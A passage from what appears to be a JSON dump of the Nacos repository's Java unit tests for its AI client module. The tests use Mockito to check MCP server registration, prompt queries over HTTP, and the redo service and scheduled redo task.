when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerBasicInfo serverSpec = new McpServerBasicInfo();\n        serverSpec.setName(\"test\");\n        serverSpec.setVersionDetail(new ServerVersionDetail());\n        serverSpec.getVersionDetail().setVersion(\"1.0.0\");\n        String id = UUID.randomUUID().toString();\n        ReleaseMcpServerResponse response = new ReleaseMcpServerResponse();\n        response.setMcpId(id);\n        when(rpcClient.request(any(ReleaseMcpServerRequest.class))).thenReturn(response);\n        assertEquals(id, aiGrpcClient.releaseMcpServer(serverSpec, new McpToolSpecification(), null));\n    }\n    \n    @Test\n    void registerMcpServerEndpoint() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerEndpointResponse response = new McpServerEndpointResponse();\n        response.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        when(rpcClient.request(any(McpServerEndpointRequest.class))).thenReturn(response);\n        aiGrpcClient.registerMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        verify(redoService).cachedMcpServerEndpointForRedo(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        verify(redoService).mcpServerEndpointRegistered(\"test\");\n    }\n    \n    @Test\n    void deregisterMcpServerEndpoint() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerEndpointResponse response = new McpServerEndpointResponse();\n        response.setType(AiRemoteConstants.DE_REGISTER_ENDPOINT);\n        when(rpcClient.request(any(McpServerEndpointRequest.class))).thenReturn(response);\n        aiGrpcClient.deregisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080);\n        verify(redoService).mcpServerEndpointDeregister(\"test\");\n        verify(redoService).mcpServerEndpointDeregistered(\"test\");\n    }\n    \n    @Test\n    void subscribeMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        QueryMcpServerResponse response = new QueryMcpServerResponse();\n        response.setMcpServerDetailInfo(mcpServerDetailInfo);\n        when(rpcClient.request(any(QueryMcpServerRequest.class))).thenReturn(response);\n        assertEquals(mcpServerDetailInfo, aiGrpcClient.subscribeMcpServer(\"test\", null));\n        verify(mcpServerCacheHolder).processMcpServerDetailInfo(mcpServerDetailInfo);\n        verify(mcpServerCacheHolder).addMcpServerUpdateTask(\"test\", null);\n    }\n    \n    @Test\n    void subscribeMcpServerAlreadySubscribed() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        when(mcpServerCacheHolder.getMcpServer(\"test\", null)).thenReturn(mcpServerDetailInfo);\n        assertEquals(mcpServerDetailInfo, aiGrpcClient.subscribeMcpServer(\"test\", null));\n        verify(rpcClient, never()).request(any(QueryMcpServerRequest.class));\n        verify(mcpServerCacheHolder, never()).processMcpServerDetailInfo(mcpServerDetailInfo);\n        verify(mcpServerCacheHolder, never()).addMcpServerUpdateTask(\"test\", null);\n    }\n    \n    @Test\n    void unsubscribeMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.SUPPORTED);\n        aiGrpcClient.unsubscribeMcpServer(\"test\", null);\n        verify(mcpServerCacheHolder).removeMcpServerUpdateTask(\"test\", null);\n    }\n    \n    @Test\n    void queryMcpServerWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class, () -> aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\"));\n    }\n    \n    @Test\n    void releaseMcpServerWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        McpServerBasicInfo serverSpec = new McpServerBasicInfo();\n        serverSpec.setName(\"test\");\n        serverSpec.setVersionDetail(new ServerVersionDetail());\n        serverSpec.getVersionDetail().setVersion(\"1.0.0\");\n        assertThrows(NacosRuntimeException.class, () -> aiGrpcClient.releaseMcpServer(serverSpec, null, null));\n    }\n    \n    @Test\n    void registerMcpServerEndpointWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class,\n                () -> aiGrpcClient.registerMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\"));\n    }\n    \n    @Test\n    void deregisterMcpServerEndpointWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class,\n                () -> aiGrpcClient.deregisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080));\n    }\n    \n    @Test\n    void subscribeMcpServerWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class, () -> aiGrpcClient.subscribeMcpServer(\"test\", null));\n    }\n    \n    @Test\n    void unsubscribeMcpServerWithFeatureDisabled() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        when(rpcClient.getConnectionAbility(AbilityKey.SERVER_MCP_REGISTRY)).thenReturn(AbilityStatus.NOT_SUPPORTED);\n        assertThrows(NacosRuntimeException.class, () -> aiGrpcClient.unsubscribeMcpServer(\"test\", null));\n    }\n    \n    @Test\n    void isEnable() throws NoSuchFieldException, IllegalAccessException {\n        injectMock();\n        assertFalse(aiGrpcClient.isEnable());\n        when(rpcClient.isRunning()).thenReturn(true);\n        assertTrue(aiGrpcClient.isEnable());\n    }\n    \n    @Test\n    void requestToServerWithoutMcpRequest() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {\n        Method method = AiGrpcClient.class.getDeclaredMethod(\"requestToServer\", Request.class, Class.class);\n        method.setAccessible(true);\n        injectMock();\n        try {\n            method.invoke(aiGrpcClient, new InstanceRequest(), InstanceResponse.class);\n        } catch (InvocationTargetException e) {\n            Throwable targetException = e.getTargetException();\n            assertInstanceOf(NacosException.class, targetException);\n            assertEquals(400, ((NacosException) targetException).getErrCode());\n        }\n    }\n    \n    private void injectMock() throws NoSuchFieldException, IllegalAccessException {\n        Field field = AiGrpcClient.class.getDeclaredField(\"rpcClient\");\n        field.setAccessible(true);\n        RpcClient autoRpcClient = (RpcClient) field.get(aiGrpcClient);\n        field.set(aiGrpcClient, rpcClient);\n        \n        field = AiGrpcClient.class.getDeclaredField(\"serverListManager\");\n        field.setAccessible(true);\n        AbstractServerListManager autoServerListManager = (AbstractServerListManager) field.get(aiGrpcClient);\n        field.set(aiGrpcClient, serverListManager);\n        \n        field = AiGrpcClient.class.getDeclaredField(\"redoService\");\n        field.setAccessible(true);\n        AiGrpcRedoService autoRedoService = (AiGrpcRedoService) field.get(aiGrpcClient);\n        field.set(aiGrpcClient, redoService);\n        \n        field = AiGrpcClient.class.getDeclaredField(\"securityProxy\");\n        field.setAccessible(true);\n        field.set(aiGrpcClient, securityProxy);\n        field = AiGrpcClient.class.getDeclaredField(\"mcpServerCacheHolder\");\n        field.setAccessible(true);\n        field.set(aiGrpcClient, mcpServerCacheHolder);\n        \n        try {\n            autoRpcClient.shutdown();\n            autoServerListManager.shutdown();\n            autoRedoService.shutdown();\n        } catch (NacosException ignored) {\n        }\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/AiHttpClientProxyTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.net.HttpURLConnection;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AiHttpClientProxyTest {\n    \n    @Mock\n    private NacosRestTemplate nacosRestTemplate;\n    \n    @Mock\n    private NamingServerListManager serverListManager;\n    \n    @Mock\n    private SecurityProxy securityProxy;\n    \n    private AiHttpClientProxy httpClientProxy;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        httpClientProxy = createProxyWithMocks();\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        if (httpClientProxy != null) {\n            httpClientProxy.shutdown();\n        }\n    }\n    \n    @Test\n    void queryPromptSuccess() throws Exception {\n        Prompt expectedPrompt = new Prompt(\"test-key\", \"1.0.0\", \"Hello {{name}}\");\n        expectedPrompt.setMd5(\"abc123\");\n        Result<Prompt> result = Result.success(expectedPrompt);\n        String responseBody = JacksonUtils.toJson(result);\n        \n        HttpRestResult<String> httpResult = new HttpRestResult<>();\n        httpResult.setCode(200);\n        httpResult.setData(responseBody);\n        \n        when(serverListManager.getServerList()).thenReturn(Arrays.asList(\"127.0.0.1:8848\"));\n        when(serverListManager.getContextPath()).thenReturn(\"/nacos\");\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        doReturn(httpResult).when(nacosRestTemplate)\n                .get(anyString(), any(Header.class), any(Query.class), eq(String.class));\n        \n        Prompt actual = httpClientProxy.queryPrompt(\"test-key\", \"1.0.0\", null, null);\n        \n        assertNotNull(actual);\n        assertEquals(\"test-key\", actual.getPromptKey());\n        assertEquals(\"1.0.0\", actual.getVersion());\n        assertEquals(\"Hello {{name}}\", actual.getTemplate());\n        assertEquals(\"abc123\", actual.getMd5());\n    }\n    \n    @Test\n    void queryPromptNotModifiedShouldThrow() throws Exception {\n        HttpRestResult<String> httpResult = new HttpRestResult<>();\n        httpResult.setCode(HttpURLConnection.HTTP_NOT_MODIFIED);\n        \n        when(serverListManager.getServerList()).thenReturn(Arrays.asList(\"127.0.0.1:8848\"));\n        when(serverListManager.getContextPath()).thenReturn(\"/nacos\");\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        doReturn(httpResult).when(nacosRestTemplate)\n                .get(anyString(), any(Header.class), any(Query.class), eq(String.class));\n        \n        NacosException exception = assertThrows(NacosException.class,\n                () -> httpClientProxy.queryPrompt(\"test-key\", null, null, \"md5-value\"));\n        assertEquals(NacosException.NOT_MODIFIED, exception.getErrCode());\n    }\n    \n    @Test\n    void queryPromptNoServerAvailable() {\n        when(serverListManager.getServerList()).thenReturn(Collections.emptyList());\n        \n        NacosException exception = assertThrows(NacosException.class,\n                () -> httpClientProxy.queryPrompt(\"test-key\", null, null, null));\n        assertEquals(NacosException.INVALID_PARAM, exception.getErrCode());\n    }\n    \n    @Test\n    void queryPromptServerError() throws Exception {\n        HttpRestResult<String> httpResult = new HttpRestResult<>();\n        httpResult.setCode(500);\n        httpResult.setMessage(\"Internal Server Error\");\n        \n        when(serverListManager.getServerList()).thenReturn(Arrays.asList(\"127.0.0.1:8848\"));\n        when(serverListManager.getContextPath()).thenReturn(\"/nacos\");\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        doReturn(httpResult).when(nacosRestTemplate)\n                .get(anyString(), any(Header.class), any(Query.class), eq(String.class));\n        \n        NacosException exception = assertThrows(NacosException.class,\n                () -> httpClientProxy.queryPrompt(\"test-key\", null, null, null));\n        assertEquals(500, exception.getErrCode());\n    }\n    \n    @Test\n    void queryPromptByLabel() throws Exception {\n        Prompt expectedPrompt = new Prompt(\"test-key\", \"2.0.0\", \"Label prompt\");\n        Result<Prompt> result = Result.success(expectedPrompt);\n        String responseBody = JacksonUtils.toJson(result);\n        \n        HttpRestResult<String> httpResult = new HttpRestResult<>();\n        httpResult.setCode(200);\n        httpResult.setData(responseBody);\n        \n        when(serverListManager.getServerList()).thenReturn(Arrays.asList(\"127.0.0.1:8848\"));\n        when(serverListManager.getContextPath()).thenReturn(\"/nacos\");\n        when(securityProxy.getIdentityContext(any())).thenReturn(new HashMap<>());\n        doReturn(httpResult).when(nacosRestTemplate)\n                .get(anyString(), any(Header.class), any(Query.class), eq(String.class));\n        \n        Prompt actual = httpClientProxy.queryPrompt(\"test-key\", null, \"prod\", null);\n        \n        assertNotNull(actual);\n        assertEquals(\"test-key\", actual.getPromptKey());\n    }\n    \n    private AiHttpClientProxy createProxyWithMocks() throws Exception {\n        AiHttpClientProxy proxy = new AiHttpClientProxy();\n        injectField(proxy, \"namespaceId\", \"public\");\n        injectField(proxy, \"nacosRestTemplate\", nacosRestTemplate);\n        injectField(proxy, \"serverListManager\", serverListManager);\n        injectField(proxy, \"securityProxy\", securityProxy);\n        injectField(proxy, \"executorService\", new ScheduledThreadPoolExecutor(1));\n        return proxy;\n    }\n    \n    private void injectField(Object target, String fieldName, Object value) throws Exception {\n        Field field = target.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(target, value);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/redo/AiGrpcRedoServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass AiGrpcRedoServiceTest {\n    \n    @Mock\n    private AiGrpcClient aiGrpcClient;\n    \n    AiGrpcRedoService redoService;\n    \n    @BeforeEach\n    void setUp() {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        redoService = new AiGrpcRedoService(properties, aiGrpcClient);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        redoService.shutdown();\n    }\n    \n    @Test\n    void cachedMcpServerEndpointForRedo() {\n        redoService.cachedMcpServerEndpointForRedo(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        McpServerEndpoint redoData = redoService.getMcpServerEndpoint(\"test\");\n        assertEquals(\"127.0.0.1\", redoData.getAddress());\n        assertEquals(8080, redoData.getPort());\n        assertEquals(\"1.0.0\", redoData.getVersion());\n        assertFalse(redoService.isMcpServerEndpointRegistered(\"test\"));\n        \n        redoService.mcpServerEndpointRegistered(\"test\");\n        assertTrue(redoService.isMcpServerEndpointRegistered(\"test\"));\n        \n        redoService.mcpServerEndpointDeregister(\"test\");\n        assertTrue(redoService.isMcpServerEndpointRegistered(\"test\"));\n        \n        redoService.mcpServerEndpointDeregistered(\"test\");\n        assertFalse(redoService.isMcpServerEndpointRegistered(\"test\"));\n        \n        redoService.removeMcpServerEndpointForRedo(\"test\");\n        redoData = redoService.getMcpServerEndpoint(\"test\");\n        assertNull(redoData);\n    }\n    \n    @Test\n    void findMcpServerEndpointRedoData() {\n        redoService.cachedMcpServerEndpointForRedo(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        redoService.mcpServerEndpointRegistered(\"test\");\n        redoService.cachedMcpServerEndpointForRedo(\"test2\", \"127.0.0.1\", 8080, \"1.0.0\");\n        Set<RedoData<McpServerEndpoint>> redoDatas = redoService.findMcpServerEndpointRedoData();\n        assertEquals(1, redoDatas.size());\n        RedoData<McpServerEndpoint> redoData = redoDatas.iterator().next();\n        assertInstanceOf(McpServerEndpointRedoData.class, redoData);\n        assertEquals(\"test2\", ((McpServerEndpointRedoData) redoData).getMcpName());\n    }\n    \n    @Test\n    void cachedAgentEndpointForRedoWithSingleEndpoint() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8080);\n        AgentEndpointWrapper wrapper = AgentEndpointWrapper.wrap(endpoint);\n        \n        redoService.cachedAgentEndpointForRedo(\"testAgent\", wrapper);\n        assertFalse(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        redoService.agentEndpointRegistered(\"testAgent\");\n        assertTrue(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        redoService.agentEndpointDeregister(\"testAgent\");\n        assertTrue(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        redoService.agentEndpointDeregistered(\"testAgent\");\n        assertFalse(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        redoService.removeAgentEndpointForRedo(\"testAgent\");\n        Set<RedoData<AgentEndpointWrapper>> redoDatas = redoService.findAgentEndpointRedoData();\n        assertTrue(redoDatas.isEmpty());\n    }\n    \n    @Test\n    void cachedAgentEndpointForRedoWithBatchEndpoint() {\n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"127.0.0.1\");\n        endpoint1.setPort(8080);\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"127.0.0.2\");\n        endpoint2.setPort(8081);\n        \n        AgentEndpointWrapper wrapper = AgentEndpointWrapper.wrap(Collections.singletonList(endpoint1));\n        \n        redoService.cachedAgentEndpointForRedo(\"testAgent\", wrapper);\n        assertFalse(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        Set<RedoData<AgentEndpointWrapper>> redoDatas = redoService.findAgentEndpointRedoData();\n        assertEquals(1, redoDatas.size());\n        RedoData<AgentEndpointWrapper> redoData = redoDatas.iterator().next();\n        assertInstanceOf(AgentEndpointRedoData.class, redoData);\n        assertEquals(\"testAgent\", ((AgentEndpointRedoData) redoData).getAgentName());\n        \n        redoService.agentEndpointRegistered(\"testAgent\");\n        assertTrue(redoService.isAgentEndpointRegistered(\"testAgent\"));\n        \n        redoDatas = redoService.findAgentEndpointRedoData();\n        assertTrue(redoDatas.isEmpty());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/redo/AiRedoScheduledTaskTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AiRedoScheduledTaskTest {\n    \n    @Mock\n    private AiGrpcClient aiGrpcClient;\n    \n    @Mock\n    private AiGrpcRedoService aiGrpcRedoService;\n    \n    AiRedoScheduledTask task;\n    \n    @BeforeEach\n    void setUp() {\n        task = new AiRedoScheduledTask(aiGrpcRedoService, aiGrpcClient);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void testRunForRedo() throws NacosException {\n        Set<RedoData<McpServerEndpoint>> set = new HashSet<>();\n        set.add(buildMcpServerEndpointRedoData(\"test\", RedoData.RedoType.REGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test1\", RedoData.RedoType.UNREGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test2\", RedoData.RedoType.REMOVE));\n        when(aiGrpcRedoService.findMcpServerEndpointRedoData()).thenReturn(set);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        task.run();\n        verify(aiGrpcClient).doRegisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        verify(aiGrpcClient).doDeregisterMcpServerEndpoint(\"test1\", \"127.0.0.1\", 8080);\n        verify(aiGrpcRedoService).removeMcpServerEndpointForRedo(\"test2\");\n    }\n    \n    @Test\n    void testRunForRedoConnectionDisconnect() throws NacosException {\n        Set<RedoData<McpServerEndpoint>> set = new HashSet<>();\n        set.add(buildMcpServerEndpointRedoData(\"test\", RedoData.RedoType.REGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test1\", RedoData.RedoType.UNREGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test2\", RedoData.RedoType.REMOVE));\n        when(aiGrpcRedoService.findMcpServerEndpointRedoData()).thenReturn(set);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        task.run();\n        verify(aiGrpcClient, never()).doRegisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        verify(aiGrpcClient, never()).doDeregisterMcpServerEndpoint(\"test1\", \"127.0.0.1\", 8080);\n        verify(aiGrpcRedoService).removeMcpServerEndpointForRedo(\"test2\");\n    }\n    \n    @Test\n    void testRunForRedoWithSingleNacosException() throws NacosException {\n        Set<RedoData<McpServerEndpoint>> set = new HashSet<>();\n        set.add(buildMcpServerEndpointRedoData(\"test\", RedoData.RedoType.REGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test1\", RedoData.RedoType.UNREGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test2\", RedoData.RedoType.REMOVE));\n        when(aiGrpcRedoService.findMcpServerEndpointRedoData()).thenReturn(set);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        doThrow(new NacosException(500, \"test\")).when(aiGrpcClient)\n                .doRegisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        task.run();\n        verify(aiGrpcClient).doRegisterMcpServerEndpoint(\"test\", \"127.0.0.1\", 8080, \"1.0.0\");\n        verify(aiGrpcClient).doDeregisterMcpServerEndpoint(\"test1\", \"127.0.0.1\", 8080);\n        verify(aiGrpcRedoService).removeMcpServerEndpointForRedo(\"test2\");\n    }\n    \n    @Test\n    void testRunForRedoWithOtherException() throws NacosException {\n        Set<RedoData<McpServerEndpoint>> set = new HashSet<>();\n        set.add(buildMcpServerEndpointRedoData(\"test\", RedoData.RedoType.REGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test1\", RedoData.RedoType.REGISTER));\n        set.add(buildMcpServerEndpointRedoData(\"test2\", RedoData.RedoType.REGISTER));\n        String fistMcpName = ((McpServerEndpointRedoData) set.iterator().next()).getMcpName();\n        when(aiGrpcRedoService.findMcpServerEndpointRedoData()).thenReturn(set);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        doThrow(new RuntimeException(\"test\")).when(aiGrpcClient)\n                .doRegisterMcpServerEndpoint(fistMcpName, \"127.0.0.1\", 8080, \"1.0.0\");\n        task.run();\n        verify(aiGrpcClient, times(1)).doRegisterMcpServerEndpoint(anyString(), anyString(), any(int.class),\n                anyString());\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithSingleRegister() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.REGISTER, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify interactions\n        AgentEndpoint expectedEndpoint = new AgentEndpoint();\n        expectedEndpoint.setAddress(\"127.0.0.1\");\n        expectedEndpoint.setPort(8080);\n        verify(aiGrpcClient).doRegisterAgentEndpoint(\"testAgent\", expectedEndpoint);\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithBatchRegister() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.REGISTER, true));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify interactions\n        AgentEndpoint expectedEndpoint = new AgentEndpoint();\n        expectedEndpoint.setAddress(\"127.0.0.1\");\n        expectedEndpoint.setPort(8080);\n        verify(aiGrpcClient).doRegisterAgentEndpoint(\"testAgent\", Collections.singletonList(expectedEndpoint));\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithUnregister() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.UNREGISTER, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify interactions\n        AgentEndpoint expectedEndpoint = new AgentEndpoint();\n        expectedEndpoint.setAddress(\"127.0.0.1\");\n        expectedEndpoint.setPort(8080);\n        verify(aiGrpcClient).doDeregisterAgentEndpoint(\"testAgent\", expectedEndpoint);\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithBatchUnregister() throws 